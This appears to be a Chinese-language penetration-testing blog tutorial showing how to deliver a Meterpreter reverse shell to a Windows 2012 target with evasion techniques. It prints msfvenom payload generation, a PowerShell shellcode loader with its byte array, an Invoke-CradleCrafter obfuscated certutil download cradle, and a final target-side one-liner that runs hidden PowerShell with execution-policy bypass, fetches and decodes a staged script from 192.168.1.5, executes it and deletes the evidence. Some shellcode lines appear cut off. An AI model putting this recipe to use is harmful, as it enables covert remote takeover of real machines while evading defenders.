

专注APT攻击与防御

<https://micropoor.blogspot.com/>

第八季中提到了certutil的加密与解密。

C:\>certutil -encode c:\downfile.vbs downfile.bat , 而配合powershell的内存加载, 则
可把certutil发挥更强大。

靶机 : windows 2012

而今天需要的是一款powershell的混淆框架的配合

<https://github.com/danielbohannon/Invoke-CradleCrafter>

使用方法 :

```
Import-Module ./Invoke-CradleCrafter.psd1
```

```
Invoke-CradleCrafter
```

```
PS C:\Users\Administrator> cd C:\inetpub\Invoke-CradleCrafter
PS C:\inetpub\Invoke-CradleCrafter> Import-Module ./Invoke-CradleCrafter.psd1
PS C:\inetpub\Invoke-CradleCrafter> Invoke-CradleCrafter

(New-Object Net.WebClient).DownloadString('http://bit.ly/ASCIIArt')
|
```

```
HELP MENU :: Available options shown below:

[*] Tutorial of how to use this tool          TUTORIAL
[*] Show this Help Menu                      HELP,GET-HELP,?,-?,/? ,MENU
[*] Show options for cradle to obfuscate     SHOW OPTIONS,SHOW,OPTIONS
[*] Clear screen                             CLEAR,CLEAR-HOST,CLS
[*] Execute obfuscatedCradle locally        EXEC,EXECUTE,TEST,RUN
[*] Copy ObfuscatedCradle to clipboard      COPY,CLIP,CLIPBOARD
[*] Write obfuscatedCradle Out to disk      OUT
[*] Reset ALL obfuscation for ObfuscatedCradle  RESET
[*] Undo LAST obfuscation for ObfuscatedCradle  UNDO
[*] Go Back to previous obfuscation menu     BACK,CD ..
[*] Quit Invoke-CradleCrafter               QUIT,EXIT
[*] Return to Home Menu                     HOME,MAIN

Choose one of the below options:

[*] MEMORY      Memory-only remote download cradles
[*] DISK        Disk-based remote download cradles

Invoke-CradleCrafter>
```

如果在加载powershell 脚本的时候提示 : powershell 进行数字签运行该脚本。

则先执行 : `set-executionpolicy Bypass`

生成payload : (有关生成payload , 会在未来的系列中讲到)

```
1 root@John:/tmp# msfvenom -p windows/x64/meterpreter/reverse_tcp
LHOST=192.168.1.5 LPORT=53 -e cmd/powershell_base64 -f psh -o Micropoor.txt
```

```
root@John:/var/www/html# msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.5 LPORT=443 -e cmd/powershell_base64 -f psh -o Micropoor.txt
/usr/share/metasploit-framework/lib/msf/core/opt.rb:55: warning: constant OpenSSL::SSL::SSLContext::METHODS is deprecated
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x64 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of cmd/powershell_base64
cmd/powershell_base64 succeeded with size 728 (iteration=0)
cmd/powershell_base64 chosen with final size 728
Payload size: 728 bytes
Final size of psh file: 4265 bytes
Saved as: Micropoor.txt
root@John:/var/www/html#
```

```
root@John:/var/www/html# cat Micropoor.txt
$?fqATQhHGxqsm = @"
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParam, uint dwFlags, IntPtr lpThreadId);

$bwfSKrLfO = Add-Type -memberDefinition $fqATQhHGxqsm -Name "Win32" -namespace Win32Functions -passthru

[Byte[]] $tkWXRyUQI = 0xcfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x0,0x0,0x0,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x
0x48,0xf,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,
,0x78,0x18,0xb,0x2,0xf,0x85,0x72,0x0,0x0,0x0,0x8b,0x80,0x88,0x0,0x0,0x0,0x48,0x85,0xc0,0x74,0x67,0x48,0x1,0xd0,0x50,0x8b,
,0x88,0x48,0x1,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x3,0x4d
,0x8b,0xc,0x48,0x44,0x8b,0x40,0x1c,0x49,0x1,0xd0,0x41,0x8b,0x4,0x88,0x48,0x1,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41
5a,0x48,0x8b,0x12,0xe9,0x4b,0xff,0xff,0x5d,0x48,0x31,0xdb,0x53,0x49,0xbe,0x77,0x69,0x6e,0x69,0x6e,0x65,0x74,0x0,0x41
9,0xe1,0x53,0x5a,0x4d,0x31,0xc0,0x4d,0x31,0xc9,0x53,0x53,0x49,0xba,0x3a,0x56,0x79,0xa7,0x0,0x0,0x0,0x0,0xff,0xd5,0xe8,0xc
x89,0xc1,0x49,0xc7,0xc0,0xbb,0x1,0x0,0x0,0x4d,0x31,0xc9,0x53,0x53,0x6a,0x3,0x53,0x49,0xba,0x57,0x89,0x9f,0xc6,0x0,0x0,0xc0
x78,0x55,0x62,0x63,0x5f,0x39,0x33,0x39,0x67,0x4f,0x41,0x71,0x30,0x41,0x7a,0x78,0x51,0x4d,0x38,0x58,0x5f,0x36,0x65,0x52,0x
0x71,0x54,0x4e,0x47,0x42,0x44,0x73,0x6e,0x79,0x6d,0x49,0x61,0x37,0x72,0x37,0x65,0x61,0x43,0x35,0x58,0x6b,0x39,0x51,0x72,0
,0x4a,0x2d,0x4d,0x53,0x7a,0x47,0x51,0x79,0x6a,0x74,0x77,0x53,0x56,0x64,0x5a,0x54,0x75,0x39,0x50,0x55,0x63,0x75,0x6e,0x6f,
6,0x41,0x55,0x77,0x52,0x66,0x67,0x75,0x6d,0x4a,0x31,0x73,0x68,0x31,0x7a,0x4c,0x51,0x36,0x4c,0x51,0x38,0x6f,0x46,0x5a,0x59
55,0x35,0x2d,0x0,0x48,0x89,0xc1,0x53,0x5a,0x41,0x58,0x4d,0x31,0xc9,0x53,0x48,0xb8,0x0,0x32,0xa0,0xb4,0x0,0x0,0x0,0x50
f,0x48,0x89,0xf1,0x6a,0x1f,0x5a,0x52,0x68,0x80,0x33,0x0,0x0,0x49,0x89,0xe0,0x6a,0x4,0x41,0x59,0x49,0xba,0x75,0x46,0x9e,0x
,0x4d,0x31,0xc9,0x53,0x53,0x49,0xc7,0xc2,0x2d,0x6,0x18,0x7b,0xff,0xd5,0x85,0xc0,0x75,0x1f,0x48,0xc7,0xc1,0x88,0x13,0x0,0x
xeb,0xaa,0xe8,0x56,0x0,0x0,0x0,0x53,0x59,0x6a,0x40,0x5a,0x49,0x89,0xd1,0xc1,0xe2,0x10,0x49,0xc7,0xc0,0x0,0x10,0x0,0x0,0x4
0xe7,0x48,0x89,0xf1,0x48,0x89,0xda,0x49,0xc7,0xc0,0x0,0x20,0x0,0x0,0x49,0x89,0xf9,0x49,0xba,0x12,0x96,0xe2,0x0,0x0,0
3,0x85,0xc0,0x75,0xd2,0x58,0x58,0xc3,0x58,0x6a,0x0,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5

$GTmysZeAE = $bwfSKrLfO::VirtualAlloc(0,[Math]::Max($tkWXRyUQI.Length,0x1000),0x3000,0x40)

[System.Runtime.InteropServices.Marshal]::Copy($tkWXRyUQI,0,$GTmysZeAE,$tkWXRyUQI.Length)
```

启动apache :

```

root@John:/var/www/html# service apache2 start
root@John:/var/www/html# curl http://192.168.1.5/Micropoor.txt
$jxt0LugTwa = @"
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, u
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpS
"@

$QDzqtobDjc = Add-Type -memberDefinition $jxt0LugTwa -Name "Win32" -namespace Win32Functions -pa

[Byte[]] $wPgShjAYi = 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x0,0x0,0x0,0x41,0x51,0x41,0x50,0x52,0x
,0xf,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0x41,0xc1,0x
18,0xb,0x2,0xf,0x85,0x72,0x0,0x0,0x0,0x8b,0x80,0x88,0x0,0x0,0x0,0x48,0x85,0xc0,0x74,0x67,0x48,0x
x1,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0x38,0xe0,0x75,0xf1,
x44,0x8b,0x40,0x1c,0x49,0x1,0xd0,0x41,0x8b,0x4,0x88,0x48,0x1,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,
e9,0x4b,0xff,0xff,0xff,0x5d,0x49,0xbe,0x77,0x73,0x32,0x5f,0x33,0x32,0x0,0x0,0x41,0x56,0x49,0x89,
0x89,0xe4,0x4c,0x89,0xf1,0x41,0xba,0x4c,0x77,0x26,0x7,0xff,0xd5,0x4c,0x89,0xea,0x68,0x1,0x1,0x0,
0xff,0xc0,0x48,0x58,0xc2,0x48,0xff,0xc0,0x48,0x58,0xc1,0x41,0xba,0xea,0xf,0xdf,0xc0,0xff,0xd5,0x

```

powershell 框架设置：

SET URL <http://192.168.1.5/Micropoor.txt>

```

Choose one of the below options:
[*] MEMORY      Memory-only remote download cradles
[*] DISK        Disk-based remote download cradles

Invoke-CradleCrafter> SET URL http://192.168.1.5/Micropoor.txt

Successfully set Url:
http://192.168.1.5/Micropoor.txt

Choose one of the below options:
[*] MEMORY      Memory-only remote download cradles
[*] DISK        Disk-based remote download cradles

```

MEMORY

```

Invoke-CradleCrafter> MEMORY

Choose one of the below Memory options:
[*] MEMORY\PSWEBSTRING      PS Net.WebClient + DownloadString method
[*] MEMORY\PSWEBDATA        PS Net.WebClient + DownloadData method
[*] MEMORY\PSWEBOPENREAD    PS Net.WebClient + OpenRead method
[*] MEMORY\NETWEBSTRING     .NET [Net.WebClient] + DownloadString method (PS3.0+)
[*] MEMORY\NETWEBDATA       .NET [Net.WebClient] + DownloadData method (PS3.0+)
[*] MEMORY\NETWEBOPENREAD   .NET [Net.WebClient] + OpenRead method (PS3.0+)
[*] MEMORY\PSWEBREQUEST     PS Invoke-WebRequest/IWR (PS3.0+)
[*] MEMORY\PSRESTMETHOD     PS Invoke-RestMethod/IRM (PS3.0+)
[*] MEMORY\NETWEBREQUEST    .NET [Net.HttpWebRequest] class
[*] MEMORY\PSSENDKEYS       PS SendKeys class + Notepad (for the lulz)
[*] MEMORY\PSCOMWORD        PS COM object + WinWord.exe
[*] MEMORY\PSCOMEXCEL       PS COM object + Excel.exe
[*] MEMORY\PSCOMIE          PS COM object + Iexplore.exe
[*] MEMORY\PSCOMMSXML       PS COM object + MsXml2.ServerXmlHttp
[*] MEMORY\PSINLINESHARP    PS Add-Type + Inline CSharp
[*] MEMORY\PSCOMPILEDCSHARP .NET [Reflection.Assembly]::Load Pre-Compiled CSharp
[*] MEMORY\CERTUTIL         Certutil.exe + -ping Argument

```

CERTUTIL

```
Invoke-CradleCrafter\Memory> CERTUTIL

[*] Name           :: Certutil
[*] Description    :: PowerShell leveraging certutil.exe to download payload as string
[*] Compatibility  :: PS 2.0+
[*] Dependencies   :: Certutil.exe
[*] Footprint      :: Entirely memory-based
[*] Indicators     :: powershell.exe spawns certutil.exe
                   certutil.exe makes network connection instead of powershell.exe
[*] Artifacts      :: C:\Windows\Prefetch\CERTUTIL.EXE-*****.pf
                   AppCompat Cache

ObfuscatedCommand has been set to this cradle's base syntax (w/o invocation syntax):
((C:\Windows\System32\certutil.exe /ping http://192.168.1.5/Micropoor.txt|Select-Object -Skip 2|Select-Object -Join" `r `n")

Choose one of the below Memory\Certutil options:

[*] MEMORY\CERTUTIL\Rearrange Rearrange syntax structure
[*] MEMORY\CERTUTIL\Cmdlet     Select-Object
[*] MEMORY\CERTUTIL\Invoke     IEX
[*] MEMORY\CERTUTIL\All       Select All choices from above (random order)
```

ALL

```
Invoke-CradleCrafter\Memory\Certutil> ALL

Choose one of the below Memory\Certutil\All options to APPLY to current cradle:

[*] MEMORY\CERTUTIL\ALL\1      Execute ALL Token obfuscation techniques (random order)
```

1

```
Invoke-CradleCrafter\Memory\Certutil\All> 1

Executed:
  CLI: Memory\Certutil\All\1
  FULL: Out-Cradle -Url 'http://192.168.1.5/Micropoor.txt' -Cradle 17 -TokenArray @('All',1)

Result:
SV 6z 'http://192.168.1.5/Micropoor.txt';((C:\Windows\System32\certutil /ping (Variable 6z).Value|&&$ExecutionContext|Get-Member)[6].Name).((($ExecutionContext.((($ExecutionContext|Get-Member)[6].Name).PsObject|Where-Object{$_ .Name -like '*ma*d'}).Name).Invoke($ExecutionContext.((($ExecutionContext|Get-Member)[6].Name).PsObject|Where-Object{$_ .Name -like '*Com*e'}).Name).Invoke($ExecutionContext.((($ExecutionContext|Get-Member)[6].Name).PsObject.Methods|Where-Object{$_ .Name -like '*Com*e'}).Name).Invoke('Se*-Ob*',1,1),[Management.Automation.CommandTypes]::Cmdlet)-SkipLa 1|&$ExecutionContext.((($ExecutionContext|Get-Member)[6].Name).PsObject.Methods|Where-Object{$_ .Name -like '*Com*e'}).Name).Invoke($ExecutionContext.((($ExecutionContext|Get-Member)[6].Name).PsObject.Methods|Where-Object{$_ .Name -like '*Com*e'}).Name).Invoke('Se*-Ob*',1,1),[Management.Automation.CommandTypes]::Cmdlet)-Skip 2)-Join" `r `n")|. $ExecutionContext.((($ExecutionContext|Get-Member)[6].Name).GetCmdlet)

Choose one of the below Memory\Certutil\All options to APPLY to current cradle:

[*] MEMORY\CERTUTIL\ALL\1      Execute ALL Token obfuscation techniques (random order)
```

混淆内容保存txt，后进行encode

```
管理员: C:\Windows\system32\cmd.exe
C:\inetpub\Invoke-CradleCrafter>certutil -encode cer.txt cer.cer
输入长度 = 1415
输出长度 = 2004
CertUtil: -encode 命令成功完成。
```

把cer.cer 与Micropoo.txt 放置同一目录下。

目标机执行：

```
1 powershell.exe -Win hidden -Exec ByPasS add-content -path %APPDATA%\ce
r.cer (New-Object Net.WebClient).DownloadString('http://192.168.1.5/cer.c
er'); certutil -decode %APPDATA%\cer.cer %APPDATA%\stage.ps1 & start /b c
md /c powershell.exe -Exec Bypass -NoExit -File %APPDATA%\stage.ps1 & sta
rt /b cmd /c del %APPDATA%\cer.cer
```

- Micropoor